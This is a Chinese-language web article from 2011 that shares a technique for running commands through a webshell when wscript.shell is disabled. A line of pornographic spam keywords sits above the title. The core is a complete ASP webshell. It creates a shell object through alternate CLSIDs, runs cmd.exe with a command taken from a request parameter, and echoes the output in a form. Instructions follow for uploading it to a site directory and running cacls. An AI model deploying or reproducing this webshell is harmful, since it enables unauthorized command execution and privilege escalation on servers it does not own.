欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

webshell提權(quán)經(jīng)驗(yàn)分享

  發(fā)布時(shí)間:2011-03-23 01:01:22   作者:佚名   我要評(píng)論
可能有很多人,看到關(guān)閉了wscript.shell,就感覺(jué)沒(méi)提權(quán)的希望了。就會(huì)放棄。
一般當(dāng)閉上面組件時(shí),你上傳cmd.exe到上面去是運(yùn)行不了命令的。運(yùn)行時(shí)會(huì)說(shuō)出錯(cuò)。
要想讓運(yùn)行命令可以試試這種方法,成功率為五五之?dāng)?shù)。
把下面代碼復(fù)制:

復(fù)制代碼
代碼如下:

<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<%
end if
response.write("<textarea readonly cols=80 rows=20>")
On Error Resume Next
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
response.write("</textarea>")
response.write("<form method='post'>")
response.write("<input type=text name='c' size=60>
")
response.write("<input type=submit value='執(zhí)行'></form>")
%>

保存為一個(gè)asp文件,然后傳到網(wǎng)站目錄上去
運(yùn)行的時(shí)候可能會(huì)出現(xiàn)兩個(gè)問(wèn)題,第一是運(yùn)行了為什么運(yùn)行不了命令,這個(gè)你可以試著再上傳個(gè)cmd.exe然后把路徑寫(xiě)入上面代碼。
我用此成功運(yùn)行過(guò)cacls命令。

第二那就是運(yùn)行時(shí)出錯(cuò),可能限制某些代碼執(zhí)行。

相關(guān)文章

最新評(píng)論